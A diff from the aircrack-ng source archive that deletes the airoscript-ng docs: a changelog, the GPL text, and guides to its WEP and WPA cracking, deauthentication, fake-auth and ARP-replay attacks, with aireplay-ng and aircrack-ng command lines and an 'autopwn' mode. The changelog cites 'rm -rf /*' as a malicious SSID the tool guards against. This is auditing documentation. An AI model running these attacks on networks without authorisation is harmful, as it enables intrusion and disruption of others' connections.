-- Modified CDCMD to write in a logfile (Not working, deleted)
-- Changed config so it whould not use unstable functions by default
-- Corrected lots of bugs in makefile, like having 755 permisions for screenrc file, $DESTDIR problems 
-- Corrected more quoting problems :-)
-- Added support for jazzteldecrypter
-
-Changelog for airoscript 2.0.11
-- Changed interface. Now it looks nicer.
-- Now it advises you if you don't have some optional thing installed and try to exec it. 
-- It doesnt allow you to do something if you've had to do something else before and you haven't (for example, doing a selection (2) befora a scan (1)
-- Corrected some bugs
-- Added support for gettext
-- Added support for wlandecrypter
-- Added an "Auto" function
-- Added a "exit" function, asking user if he wants delete temporary directory and/or stop monitor mode on selected interface.
-- Code cleaned and reorganised.
-- Corrected lots of things in makefile
-- Added a "critical debug command" (well... it echoes every terminal command instead of executing it, for terminal related errors)
-
-Changelog for airoscript 2.0.10
-- Here I come, I (XayOn) started here ;-).
-- Added multiple terminal support
-- Added theme support
-- Added config file support
-- Added aleatory temp dir creation
-- Wrote a makefile for airoscript
-- Corrected bug #521 (airopdate rt61 bug)
-
-
-Changelog for airoscript 2.0.9
--fixed client and clientless attacks chopchop and frag packet injection not generating IVs because -h MAC was not set
--force frag, chopchop and aircrack-ng xterms to stay on screen after successfull command so you can see results
--cleaned the code some more
--cleaning functions needs more tweaks
--atheros users need to use options 9 (monitor mode) before other commands to create-destroys correct VAPS
--fixed "unary operator expected" msg (harmless bug) (not fully fixed because of "" generating errors in logic tests)
--tweaked 2 steps attacks (frag, chopchop) to go to menu to inject after successfull first step
--added option to jump to injection menu (added this to the main menu)
--fixed AP encryption detection for cracking step (bug was introduced by "")
--lowered adapter speed to 1M for wesside-ng attacks
--added -hold to mdk attack to allow users to see results before the windows closes
-
-Changelog for airoscript 2.0.8 (27/01/2008)
--added wesside-ng airoscript style usage
--added interface type detection
--tweaked menu
--first attempt at making airoscript work with different adapters (add more card support)(BIG THX TO GREEN-FREQ!!!)
--atheros device are now supported
--added mdk3
--added back to main menu options
--fixed chopchop attack (BIG THX TO GREEN-FREQ!!!)
--tweaked FAKE_MAC function for atheros
-
-Changelog for 2.0.7b1 (21/01/2007)
--changed capture from IVs to full date (ivs to cap)
--updated script for new implementation of fragmentation attack
--other minor modifications and tweaks
-
-Changelog for PRE-1.8.2-BETA1 (30/11/2006)
--fixed all commands leading to : "head: Binary: invalid number of lines" (MAJOR THX TO ANDREA)
--fixed all commands where SSID was truncated (MAJOR THX TO PILOTSNIPES)
-
-Changelog for airoscript 1.8.1 (03/11/2006)
--bug fix release
--fixed some problem in the SSID detection function (MAJOR THX TO andreahaku)
--cleaned a few more typos and bugs
--documentation completed a bit
-
-Changelog for airoscript 1.8 (17/10/2006)
--dropped support for aircrack-ng 0.6.1 and older
--will only work with patched version of aircrack-ng 0.6.2 (patches can be found in the forum under the programming section)
--specifique channels hopping (for example channel 1,6,11 or 1-3,5-7,9,11)
--Access point filtering during attack (airodump will only list attacked Access point)
--new SSID detection, works with ALL ssid (supports all character and spacing possible)
--new Access point selection menu that list all AP with encryption type (eliminates the WEP? problem)
--option 2) now get you directly to a full list of AP
--chopchop attack and fragmentation attack implement
--WPA dictionnary attack implemented
--changed menu 3,4,5 based on detection of AP encryption
--added option to jump to associated client list from ap selection
--color change support for xterm
--Windows size and placement fully changeable from variables settings
--changed filenames from SSID to MAC because of possible issues if weird SSID (to eliminate security menace (if SSID is something like "rm -rf /*" etc...)
--added option an option to run "1) scan 2) select 3) attack" one after the other
--added some comments in the script to help users
--added greetings message (can be disabled setting WELCOME="1" to "0")
-
-Changelog for airoscript 1.7RC7 (24/09/2006)
--added some resilience to the configure function now works properly with hidden ssid's and rausb devices 
-
-Changelog for airoscript  1.7RC6 (19/09/2006)
--Code cleanup
--added deauth command to solointeractiveattack function
--changed base variables (fudge factor & inject rate)
-
-Changelog for airoscript 1.7RC5 (14/09/2006)
--Fixed minor cosmetic issue caused by carriage return char when ssid is missing (15/9/06)
--Fixed the weird character match issue!! edit at will!!!
--added an abitrary variable ($acv) to the aircrackversioncheck function which can be used in future to keep the script backwards compatible (had to guess at what version 0.6.0 of aircrack-ng displays when run on it's own? and version 0.5.so might not work??)
--used new variable in crack function to check version and run correct crack command for the aricrack version installed fixing the bug on the B|T forum.
-
-Changelog for airoscript 1.7RC4 (13/09/2006)
--corrected minor speellling issues ;o) 
--added aircrack-ng version detection function currently all it does is display aircrack version in the menu function (should be useful when new functionality is added to aircrack to allow backwards compatibility)
--added solointeractiveattack function (designed to run just the airreplay interactive attack function only for use with an attack that has stalled i.e. data has stopped increasing, the user can try this for another injection thread! (might not actually work?? needs more testing does spawn and seems to work!)
--added option to manually add ssid if a blank ssid is detected (this has some problems when certain editors are used as this is not strictly blank but a non printable character recommend kwrite on Back|track to edit script)

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/install Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/license Deleted

@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
- 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Lesser General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Lesser General
-Public License instead of this License.

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/Makefile Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/Toc.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/Toc.rst.html Deleted

@@ -1,186 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-<meta name="generator" content="Docutils 0.8.1: http://docutils.sourceforge.net/" />
-<title></title>
-<link rel="stylesheet" href="css/stylesheet.css" type="text/css" />
-</head>
-<body>
-<div class="document">
-
-
-<div class="contents topic" id="table-of-contents">
-<p class="topic-title first">Table of Contents</p>
-<ul class="simple">
-<li><a class="reference internal" href="#crack" id="id1">Crack</a><ul>
-<li><a class="reference internal" href="#wpa-crack" id="id2">WPA Crack</a></li>
-<li><a class="reference internal" href="#wep-crack" id="id3">WEP Crack</a><ul>
-<li><a class="reference internal" href="#default" id="id4">Default</a></li>
-<li><a class="reference internal" href="#korek" id="id5">Korek</a></li>
-<li><a class="reference internal" href="#interactive" id="id6">Interactive</a></li>
-</ul>
-</li>
-</ul>
-</li>
-<li><a class="reference internal" href="#others-menu" id="id7">Others menu</a><ul>
-<li><a class="reference internal" href="#airoscript-options" id="id8">Airoscript options</a></li>
-<li><a class="reference internal" href="#external-plugins" id="id9">External plugins</a></li>
-<li><a class="reference internal" href="#advanced-tools" id="id10">Advanced tools</a><ul>
-<li><a class="reference internal" href="#injection" id="id11">Injection</a></li>
-<li><a class="reference internal" href="#autentication" id="id12">Autentication</a></li>
-<li><a class="reference internal" href="#operations-with-ivstools" id="id13">Operations with ivstools</a></li>
-<li><a class="reference internal" href="#decloak-packages" id="id14">Decloak packages</a></li>
-<li><a class="reference internal" href="#create-virtual-interface-with-airtun-ng" id="id15">Create virtual interface with airtun-ng</a></li>
-<li><a class="reference internal" href="#diagnostics-and-reports" id="id16">Diagnostics and reports</a></li>
-<li><a class="reference internal" href="#auto-crack-wep-with-wesside-ng" id="id17">Auto crack wep with wesside-ng</a></li>
-<li><a class="reference internal" href="#easside-ng" id="id18">Easside-ng</a></li>
-</ul>
-</li>
-</ul>
-</li>
-<li><a class="reference internal" href="#autopwn" id="id19">Autopwn</a></li>
-</ul>
-</div>
-<div class="section" id="crack">
-<h1><a class="toc-backref" href="#id1">Crack</a></h1>
-<p>This section defines cracking menu.</p>
-<p>Note: If &quot;pipe&quot; variable is set, it will be executed and piped into aircrack-ng (that's the way the john the ripper plugin works, actually)</p>
-<p>Note: If writekey variable contains a set of commands to write the key to a file (wich is default on auto)</p>
-<div class="section" id="wpa-crack">
-<h2><a class="toc-backref" href="#id2">WPA Crack</a></h2>
-<p>It will execute attacks against a wordlist.</p>
-</div>
-<div class="section" id="wep-crack">
-<h2><a class="toc-backref" href="#id3">WEP Crack</a></h2>
-<div class="section" id="default">
-<h3><a class="toc-backref" href="#id4">Default</a></h3>
-<p>Executes aircrack-ng with the following options</p>
-<pre class="literal-block">
-&quot;$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap $crack_extra_opts $writekey&quot;; $clear; break ;;
-</pre>
-</div>
-<div class="section" id="korek">
-<h3><a class="toc-backref" href="#id5">Korek</a></h3>
-<p>Executes aircrack-ng with the following options</p>
-<p>AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey</p>
-</div>
-<div class="section" id="interactive">
-<h3><a class="toc-backref" href="#id6">Interactive</a></h3>
-<p>Same as default, except that it allows you to enter personalized fudge_factor and enc_size.</p>
-<p>Executes aircrack-ng with the following options:</p>
-<dl class="docutils">
-<dt>::</dt>
-<dd>AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey</dd>
-</dl>
-</div>
-</div>
-</div>
-<div class="section" id="others-menu">
-<h1><a class="toc-backref" href="#id7">Others menu</a></h1>
-<p>This menu contains all not-frequently used (but nice) options.</p>
-<div class="section" id="airoscript-options">
-<h2><a class="toc-backref" href="#id8">Airoscript options</a></h2>
-<p>This menu provides with a set of airoscript-ng configuration options, wich can be changed after startup.</p>
-<ul class="simple">
-<li>Change / reset interface</li>
-<li>Change interface MAC</li>
-<li>Enable monitor mode</li>
-<li>Change dump path</li>
-<li>Try to configure network</li>
-</ul>
-</div>
-<div class="section" id="external-plugins">
-<h2><a class="toc-backref" href="#id9">External plugins</a></h2>
-<p>Here, plugins enabled in config or startup parameters will have its menus.
-Each plugin gets itself into menu by adding its menu entry directly to ${plugins_menu} array, this way:</p>
-<pre class="literal-block">
-plugins_menu+=(&quot;This is the menu entry&quot;);
-</pre>
-<p>And then creating a function, composed by the menu name, replacing spaces by underscores.</p>
-<dl class="docutils">
-<dt>::</dt>
-<dd><p class="first">This_is_the_menu_entry(){</p>
-<blockquote>
-# Here do stuff</blockquote>
-<p class="last">}</p>
-</dd>
-</dl>
-<p>For more info on plugin creation you can have a look at the manual page.</p>
-</div>
-<div class="section" id="advanced-tools">
-<h2><a class="toc-backref" href="#id10">Advanced tools</a></h2>
-<p>Advanced aircrack-ng tools (not frequently used), aircrack-ng tools that are available in a less-customizable manner in other menus, and diagnostics tools are presented here.</p>
-<div class="section" id="injection">
-<h3><a class="toc-backref" href="#id11">Injection</a></h3>
-<p>Chop chop and fragmentation attacks.
-Those are only usable when you already have xor files.</p>
-<p>About chopchop attack (got from aircrack-ng wiki):</p>
-<pre class="literal-block">
-This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.
-</pre>
-<p>About frag attack (got from aircrack-ng wiki):</p>
-<dl class="docutils">
-<dt>::</dt>
-<dd>This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.</dd>
-</dl>
-</div>
-<div class="section" id="autentication">
-<h3><a class="toc-backref" href="#id12">Autentication</a></h3>
-<p>This will provide Fake auth and Deauth attacks.</p>
-<p>Fake auth attack, from aircrack-ng wiki:</p>
-<pre class="literal-block">
-The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.
-</pre>
-<p>Deauth attack, from aircrack-ng wiki:</p>
-<pre class="literal-block">
-This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons:
-- Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloaked”.
-- Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
-- Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)
-- Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.
-</pre>
-</div>
-<div class="section" id="operations-with-ivstools">
-<h3><a class="toc-backref" href="#id13">Operations with ivstools</a></h3>
-<p>Makes it possible to merge ivs (with ivstools) from either one airoscript session or all the previous saved ones.</p>
-</div>
-<div class="section" id="decloak-packages">
-<h3><a class="toc-backref" href="#id14">Decloak packages</a></h3>
-<p>Launches a nice selection menu about airdecloack-ng options.</p>
-<dl class="docutils">
-<dt>::</dt>
-<dd>Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent” cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.</dd>
-</dl>
-</div>
-<div class="section" id="create-virtual-interface-with-airtun-ng">
-<h3><a class="toc-backref" href="#id15">Create virtual interface with airtun-ng</a></h3>
-<p>Creates a virtual interface with the cracked wep key using airtun-ng.</p>
-</div>
-<div class="section" id="diagnostics-and-reports">
-<h3><a class="toc-backref" href="#id16">Diagnostics and reports</a></h3>
-<p>This menu makes airgraph-ng reports.</p>
-</div>
-<div class="section" id="auto-crack-wep-with-wesside-ng">
-<h3><a class="toc-backref" href="#id17">Auto crack wep with wesside-ng</a></h3>
-<p>Launches wesside-ng to try to auto-crack the network.</p>
-<pre class="literal-block">
-Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.
-</pre>
-</div>
-<div class="section" id="easside-ng">
-<h3><a class="toc-backref" href="#id18">Easside-ng</a></h3>
-<p>An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key
-.. _easside-ng at aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=easside-ng">https://www.aircrack-ng.org/doku.php?id=easside-ng</a></p>
-</div>
-</div>
-</div>
-<div class="section" id="autopwn">
-<h1><a class="toc-backref" href="#id19">Autopwn</a></h1>
-<p>Autopwn function will try each available (and enabled) attack against every network available.
-You can specify essid filters, and change enabled attacks in advanced airoscript-ng configuration, have a look at main usage for argument.</p>
-</div>
-</div>
-</body>
-</html>

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/attack-wep.rst Deleted

@@ -1,158 +0,0 @@
-Wep attacks
------------
-
-.. image:: images/wep-attacks.png
-
-Attacks not using a client
-==========================
-
-.. image:: images/wep-attacks-noclient.png
-
-If you have no connected clients (for example, if you've only got one wireless card, and you're auditing your own network)
-you might need to use this attacks.
-
-Fake auth (Automatic)
-+++++++++++++++++++++++
-
-Airoscript here performs a fake auth attack, to associate with AP, and a arp replay attack for injection, typically doing something like:
-
-::
-
-    aireplay-ng WIFI_INTERFACE --arpreplay -b TARJET_MAC -d INJECTION_MAC -f 1 -m 68 -h FAKE_MAC -x 1000
-    aireplay-ng -3 -b AP_MAC -h SOURCE_MAC WIFI_INTERFACE
-
-Where source mac (in this case) is INJ_MAC
-
-That is, fake auth and arp replay attacks. Basically, according to aircrack-ng wiki:
-
-::
-
-    The fake authentication attack allows you to perform the two types of WEP 
-    authentication (Open System and Shared Key) plus associate with the access point (AP). 
-    This is only useful when you need an associated MAC address in various aireplay-ng attacks
-    and there is currently no associated client. It should be noted that the fake authentication
-    attack does NOT generate any ARP packets. Fake authentication cannot be used to 
-    authenticate/associate with WPA/WPA2 Access Points.
-
-    The classic ARP request replay attack is the most effective way to generate new
-    initialization vectors (IVs), and works very reliably. The program listens for an ARP packet
-    then retransmits it back to the access point. This, in turn, causes the access point to repeat
-    the ARP packet with a new IV. The program retransmits the same ARP packet over and over. 
-    However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs
-    which allow you to determine the WEP key.
-
-In interactive mode, you'll be asked for the "f" (from-to destination bit), making you able to make it into a t, and the destmac (wich, by default, is FF:FF:FF:FF:FF:FF)
-
-Have a look at _Fake auth at aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=fake_authentication 
-and _ARP replay at: https://www.aircrack-ng.org/doku.php?id=arp-request_reinjection
-
-Fake auth (Interactive)
-+++++++++++++++++++++++
-Almost same as fake auth, automatic, except for aireplay being called in interactive mode, wich will force the user to select a packet instead of injecting the first that it gets.
-
-Have a look at _Fake auth at aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=fake_authentication
-
-Fragmentation attack
-+++++++++++++++++++++++
-
